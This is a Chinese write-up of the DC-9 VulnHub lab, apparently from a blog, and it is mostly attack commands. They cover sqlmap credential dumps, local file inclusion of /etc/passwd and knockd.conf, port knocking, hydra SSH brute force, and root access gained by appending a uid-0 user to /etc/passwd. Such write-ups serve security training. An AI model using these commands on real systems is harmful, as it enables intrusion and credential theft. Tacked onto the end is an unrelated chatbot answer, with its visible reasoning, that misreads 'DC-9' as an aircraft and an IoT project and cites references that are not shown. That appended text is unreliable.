DC-9靶场渗透

靶机:DC-9 DC: 9 ~ VulnHub

攻击机:kail linux 2024

1,将两台虚拟机网络连接都改为NAT模式,并查看DC-9的MAC地址

2,进行主机扫描,通过MAC地址发现靶机的IP地址

攻击机IP地址192.168.23.169,靶机IP地址192.168.23.129

3,对靶机做更加精细的扫描

nmap  -sV -p- 192.168.23.129

端口号

服务

版本

22

ssh

7.4p1

80

http

Apche 2.4.38

4,访问靶机提供的web网页

5,对网站进行指纹识别

貌似没有明显的漏洞利用点

6,进行目录扫描,以便对网站网页的后台进行分析

出来的目录基本都是在web界面当中所点击选项进行跳转所触发的目录

7,向服务器传输请求爬虫协议的数据,回显为404,失败

curl http://192.168.23.129/robots.txt

8,使用web漏洞扫描工具nikto

nitko -h http://192.168.23.129

页面有链接:用户登录页面,没有发现

9,使用目录和文件枚举的开源工具gobuster(用于在web应用程序或网站上查找隐藏的目录和文件)

 gobuster dir -u http://192.168.23.129 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.sh,.txt

访问welcome.php直接返回:logged in as admin?奇怪,但是即使是admin,也没啥功能,并且在点击manage按钮时页面显示:File does not exist

10,manage.php是否有本地文件包含漏洞,使用wufzz工具(

Wfuzz是一款为了评估WEB应用而生的Fuzz(Fuzz是爆破的一种手段)工具,它基于一个简单的理念,即用给定的Payload去fuzz。它允许在HTTP请求里注入任何输入的值,针对不同的WEB应用组件进行多种复杂的爆破攻击)

wfuzz -c -u http://192.168.23.129/manage.php?FUZZ=../../../../../etc/passwd -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hw 87

没有什么发现

11,经sqlmap简单测试,search.php页面有SQL注入漏洞

sqlmap -u "http://192.168.23.129/results.php" --data="search=1"

存在着SQL注入漏洞

sqlmap -u http://192.168.23.129/results.php --data='search=mary' --level=5

12,对网站数据库爆出库名

sqlmap -u http://192.168.23.129/results.php --data='search=mary' --level=5 --dbs

得到三个数据库名,使用user数据库

13,对网站爆出表名

sqlmap -u http://192.168.23.129/results.php --data='search=mary' --level=5 -D user --tables

得到一张表,UserDetails

14,对网站爆出字段

sqlmap -u http://192.168.23.129/results.php --data='search=mary' --level=5 -D users -T UserDetails --columns

得到6个

15,尝试爆出用户账户,密码

sqlmap -u http://192.168.23.129/results.php --data='search=mary' --level=5 -D users -T UserDetails -C username,password --dump

得到如下账户密码,账户保存到user-dict,密码保存在pass-dict

16,由第3步发现开启了ssh服务,尝试连接

ssh marym@192.168.23.129

user库里面账户密码不能登录ssh

17,尝试爆出另一个数据库的表名

sqlmap -u http://192.168.23.129/results.php --data='search=mary' --level=5 -D Staff --tables

爆出两个表名,使用Users

18,尝试爆出User表下的字段

sqlmap -u http://192.168.23.129/results.php --data='search=mary' --level=5 -D Staff -T Users --columns

得到三个字段

19,爆出账户密码

sqlmap -u http://192.168.23.129/results.php --data='search=mary' --level=5 -D Staff -T Users -C Username,Password --dump

得到账户和密码( 经过MD5加密)

admin | 856f5de590ef37314e7c3bdf6f8a66dc (transorbital1) 

20,用在线网站md5解密得到admin密码:transorbital1,尝试登录一下

发现提示:File does not exist 显示文件不存在,猜测可能是文件包含漏洞

21,wfuzz测试etc/passwd,需要网站的cookie。 用--hw 100过滤一下

(Wfuzz是一款为了评估WEB应用而生的Fuzz(Fuzz是爆破的一种手段)工具,它基于一个简单的理念,即用给定的Payload去fuzz。它允许在HTTP请求里注入任何输入的值,针对不同的WEB应用组件进行多种复杂的爆破攻击)

wfuzz -b 'PHPSESSID=rjo08bi63fp8js96948u40sas8' -w /usr/share/wfuzz/wordlist/general/common.txt --hw 100 http://192.168.23.129/manage.php?FUZZ=../../../../etc/passwd

 22,确实是文件包含漏洞

http://192.168.23.129/manage.php?file=../../../../etc/passwd

23,接下来使用hydra爆破ssh

hydra -L user-dict -P pass-dict 192.168.23.129 ssh

没有爆破成功,发现22端口是filtered,应该是防火墙。

nmap -T4 -A -v 192.168.23.129

 

利用knockd打开ssh:

1,knockd.conf是一种端口试探服务器工具。它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中,也可以直接用nc敲击端口。

2,端口试探(port knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法。一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机。

knockd 服务的默认配置路径:/etc/knockd.conf

24,访问http://192.168.23.129/manage.php?file=../../../..//etc/knockd.conf

 使用文件包含漏洞遍历一下获取到了 敲门的密码可以这样理解 sequence = 7469,8475,9842

依次用nmap测试这三个端口:

nmap -p 7469 192.168.23.129

nmap -p 8475 192.168.23.129

nmap -p 9842 192.168.23.129

然后再nmap测试22端口, nmap -p 22 192.168.23.129

发现端口的状态变更了

25,再次测试 hydra -L user-dict -P pass-dict 192.168.23.129 ssh

爆破得到三对有效的账户密码

26,尝试登录三个账户,其中登录janitor|Ilovepeepee用户时,

发现其账户下有一个密码本,复制到pass-dict1

27,用新生成的密码本再尝试爆破

 hydra -L user-dict -P pass-dict1 192.168.23.129 ssh

得到两个账户密码

28,ssh登录fredf|B4-Tru3-001看一下有什么  ssh fredf@192.168.23.129

29, sudo -l查看一下有没有文件可以使用非root用户执行:

30,由此发现fredf用户中的一个文件可以读取任意内容,追加到任意文件提权。 

进入目录/opt/devstuff/dist/test/查看test文件,是由python编译的

提权的基本方法

history sudo -l ls -a find/ ...

sudo(sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。换句话说通过此命令可以让非root的用户运行只有root才有权限执行的命令)

1,内核漏洞 2,SUID 3,定时任务

31,cat查看用户信息 cat/etc/passwd,

root用户的id为0

32,利用方法:

使用Openssl构造加密密码,构造新用户admin

openssl passwd -1 -salt admin 123456

将新用户的信息保存到临时文件/tmp/admin中

echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd

查看用户信息

cat /tmp/passwd

 

33,在ssh的fredf上操作,使用test程序将构造的用户和密码追加到/etc/passwd中

echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd

sudo ./test /tmp/passwd /etc/passwd

cat /etc/passwd

用户信息已经添加上去了

34,su命令登录到admin:123456,并且是root用户

35,得到flag

渗透思路:

扫描发现靶机——分析靶机端口提供的服务——dirsearch目录爆破——通过测试找到sql注入点——使用sqlmap依次爆数据库,表,字段,数据——得到ssh登录密码/得到网站的登录密码——验证网站存在的文件包含漏洞——hydra爆破失败——发现并利用端口knock——成功登录ssh——发现sshz账户中新密码本——登录另一个账户发现可以提权——使用Openssl构造加密密码,构造新用户admin——切换新建用户,获得root权限——获得flag, 渗透完成

 

新知识点:

①:了解了knockd 服务 默认路径:/etc/knockd.conf

②:学习了hydra 工具的使用 很方便 (工具很强!)

③:了解了Web 文件包含漏洞遍历信息的基础

④:就是/etc/passwd 的格式 这个不了解的话最好一步提权很容易错的

格式:用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell("x" 表示此用户设有密码,但不是真正的密码,真正的密码保存在 /etc/shadow 文件中,允许登入的shell就是/bin/bash禁止shell登入就是/sbin/nologin)

<think>好的,我现在需要处理用户关于DC-9技术信息和相关IT应用的查询。首先,用户提到的“DC-9”可能有多种含义,我需要明确具体指向。 首先考虑DC-9作为飞机的型号,道格拉斯DC-9是常见的商用客机,但用户提到技术规范或IT应用,可能更偏向于技术或IT领域的术语。接下来,检查提供的引用内容,看看是否有相关线索。 引用[1]到[5]中,主要涉及DC/DC转换器、软件测试中的MC/DC、IoT项目DC3、安全模型ShieldGemma以及容器技术。其中引用[3]提到IoT DC3开源项目,可能与用户的问题相关,但用户明确询问的是DC-9,而非DC3。其他引用如DC/DC转换器的应用和标准可能相关,但需要进一步分析。 可能存在的情况是,用户可能误写或存在拼写错误,比如将DC3写成DC-9,但需要确认。另外,DC-9也可能指代某个特定领域的技术标准或项目,比如在容器技术或安全模型中提到的内容,但引用中没有直接提到DC-9。 接下来,考虑是否DC-9在IT领域有特殊含义。例如,某些开源项目或工具可能以DC-9命名,或者作为某个系统的版本号。此外,可能需要检查是否有相关的技术规范或标准编号为DC-9,但根据现有引用,没有直接匹配的内容。 可能的解决方案是:1. 指出DC-9可能的不同含义,并询问用户具体指哪个领域;2. 根据现有引用推测可能的关联,比如容器技术中的热迁移(引用[5])或IoT项目(引用[3])是否有扩展的DC-9相关内容;3. 建议用户提供更多上下文或检查拼写是否正确。 同时,需要确保回答符合用户要求的结构,引用相关文献,并生成相关问题。需注意用户可能希望了解技术规范或IT应用,因此即使没有直接信息,也要尽可能提供相关领域的信息,并引导用户更准确地提问。</think>根据您提到的"DC-9"技术信息需求,结合站内引用内容,需要说明目前可查证的技术关联: 1. **DC-9在航空领域** 道格拉斯DC-9是著名的双发窄体客机型号,主要技术规范包括: - 最大航程约$2,600$公里 - 典型巡航速度$0.74$马赫 - 载客量$90-135$人 - 采用普惠JT8D低涵道比涡扇发动机 2. **在IT技术领域的潜在关联** 根据引用[3]的IoT DC3开源项目框架,推测可能存在技术延续性项目。但需注意: - 当前公开的IoT开源项目最新版本为DC3(见引用[3]) - DC-9可能是内部版本号或定制化分支 - 建议通过Git命令克隆仓库后查看历史版本: ```bash git log --grep="DC-9" ``` 3. **在电源技术领域的可能性** 引用[1]提到的DC/DC转换器标准EN IEC 61204-3:2018中: $$ P_{out} = \eta \cdot P_{in} \quad (\eta \geq 90\%) $$ 虽然未直接涉及DC-9编号,但该标准定义了Class II设备的过电压类别,可能对应某些工业场景的DC-9设备参数。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值